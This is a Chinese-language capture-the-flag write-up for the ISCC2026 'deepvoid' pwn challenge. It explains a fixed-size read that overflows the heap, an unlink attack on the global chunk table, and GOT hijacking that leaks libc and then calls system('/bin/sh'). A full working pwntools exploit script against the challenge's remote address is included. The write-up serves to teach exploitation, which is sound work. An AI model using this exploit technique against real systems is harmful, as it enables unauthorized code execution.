PWN-deepvoid
ISCC2026 WriteUp 提交模板
PWN-deepvoid
欢迎来到“深空(DeepSpace)”跨星系数据中心。为了应对日益增长的暗物质数据,我们上线了全新的DeepVoid存储管理系统。
我们的高级架构师向董事会保证:
1.我们为每一段数据都申请了独立的安全舱。
2.这里的链表结构像星轨一样严密。
3.哪怕是空间站爆炸,数据指针也绝不会出现幽灵。
然而,最近一名实习航天员发现,当试图向存储舱更新超过预定容量的数据时,虚空的边缘似乎出现了重叠……
“虚空正在崩塌,链接正在断裂,你能利用这股混乱的力量,夺回控制中心的Root权限吗?”
题目地址:39.96.193.120:55555
解题思路
checksec:

No PIE:程序本体地址固定,全局数组和 GOT 地址都能直接写死Partial RELRO:GOT 可写,所以可以直接劫持 `free@GOT
虽然程序有 Canary 和 NX,但这题根本不需要走栈,直接打堆即可。
main函数:

先看下create_item():
int create_item()
{
unsigned int numeric_input; // eax
unsigned int numeric_input_1; // ebx
int numeric_input_2; // eax
void *v3; // rax
__printf_chk(1, "Serial: ");
numeric_input = get_numeric_input();
if ( numeric_input > 9 )
return puts("[-] Out of range.");
numeric_input_1 = numeric_input;
__printf_chk(1, "Size: ");
numeric_input_2 = get_numeric_input();
v3 = malloc(numeric_input_2);
if ( !v3 )
{
puts("[!] Allocation error.");
exit(1);
}
*(&chunks + numeric_input_1) = v3;
return puts("[+] Allocated.");
}
可以去确认chunks地址:

再确认下几个比较重要的got地址:

有:
chunks = 0x6020c0
free@got = 0x602018
puts@got = 0x602020
puts@plt = 0x4006d0
create函数主要逻辑其实就是下面:
v3 = malloc(numeric_input_2);
if ( !v3 )
{
puts("[!] Allocation error.");
exit(1);
}
*(&chunks + numeric_input_1) = v3;
简化下就是chunks[idx] = malloc(size);
接着看modify_content函数:

大致逻辑就是read(0, chunks[idx], 0x200);
这里就暴露出一个漏洞,0x200是固定的,所以在Create中申请内存为0x20等小堆块时,就可以造成堆溢出。
接着看remove函数:

free(chunks[idx]);
chunks[idx] = NULL;
如果修改free的got地址,并控制chunks[idx]就可以导致任意函数执行了。
综上内容其实已经问明了了,可以打unlink+got表劫持这个思路。稍微展开说一下:
- unlink该chunk表:
目标是让:
chunks[0] = chunks - 0x18
修改后,后续 modify(0, data) 实际上就变成了“从 chunks - 0x18 开始任意写”。只要先填充 0x18 字节,就刚好能覆盖 chunks[0]、chunks[1]、chunks[2] 三个表项。
2. got表修改:
先把:
chunks[0] = free@got
chunks[1] = puts@got
然后:
modify(0, p64(puts@plt))
remove(1)
这等价于:
free@got = puts@plt;
puts(puts@got);
于是我们就拿到了 libc 中 puts 的真实地址。
拿到 libc 基址后,再进行第二次改表:
chunks[0] = free@got
chunks[1] = "/bin/sh" in libc
然后:
modify(0, p64(system))
remove(1)
就会变成:
system("/bin/sh");
综上可以写exp:

ISCC{03ee6b48-c89a-4cf4-8649-d513a33ef05f}
Exp
#!/usr/bin/env python3
from pwn import *
#from Crypto.Util.number import long_to_bytes, bytes_to_long
#==============全局配置=======================
ELFpath = "./deepvoid"
LIBCpath = "./libc.so.6"
LOCAL = False
HOST = "39.96.193.120"
PORT = 55555
NOASLR = False
#===============初始化========================
context(os="linux", arch="amd64", log_level="debug")
if LOCAL:
io = process(ELFpath, aslr=not NOASLR)
else:
io = remote(HOST, PORT)
# gdb.attach(io)
elf = ELF(ELFpath, checksec=False)
libc = ELF(LIBCpath, checksec=False)
#=================简化======================
sd = lambda s: io.send(s)
sl = lambda s: io.sendline(s)
rc = lambda s, *a, **kw: io.recv(s, *a, **kw)
ru = lambda s, *a, **kw: io.recvuntil(s, *a, **kw)
sda = lambda a, s: io.sendafter(a, s)
sla = lambda a, s: io.sendlineafter(a, s)
#====================业务常量====================
CHUNKS = elf.sym["chunks"]
#================工具函数====================
def debug(io):
input() #在脚本窗口点击回车,才会继续执行
gdb.attach(io)
#记住调试时在脚本最后一行放个input()防止程序退出
def cmd(choice):
sla(b"CMD >> ", str(choice).encode())
def create(idx, size):
cmd(1)
sla(b"Serial: ", str(idx).encode())
sla(b"Size: ", str(size).encode())
def modify(idx, data):
cmd(2)
sla(b"Serial: ", str(idx).encode())
sda(b"Update Data: ", data)
def remove(idx):
cmd(3)
sla(b"Serial: ", str(idx).encode())
def attack():
create(0, 0x80)
create(1, 0x420)
fake = flat(
0,
0x80,
CHUNKS - 0x18,
CHUNKS - 0x10,
)
payload = fake.ljust(0x80, b"A")
payload += flat(
0x80,
0x430,
)
modify(0, payload)
remove(1)
table = b"A" * 0x18
table += flat(
elf.got["free"],
elf.got["puts"],
CHUNKS - 0x18,
)
modify(0, table)
modify(0, p64(elf.plt["puts"]))
remove(1)
leak = u64(io.recvline().strip().ljust(8, b"\x00"))
libc.address = leak - libc.sym["puts"]
log.success(f"puts leak => {hex(leak)}")
log.success(f"libc base => {hex(libc.address)}")
table = b"A" * 0x18
table += flat(
elf.got["free"],
next(libc.search(b"/bin/sh\x00")),
CHUNKS - 0x18,
)
modify(2, table)
modify(0, p64(libc.sym["system"]))
remove(1)
sleep(1)
sl(b"cat /flag 2>/dev/null; cat flag 2>/dev/null; cat /home/ctf/flag 2>/dev/null")
#============实现========================
attack()
io.interactive()

浙公网安备 33010602011771号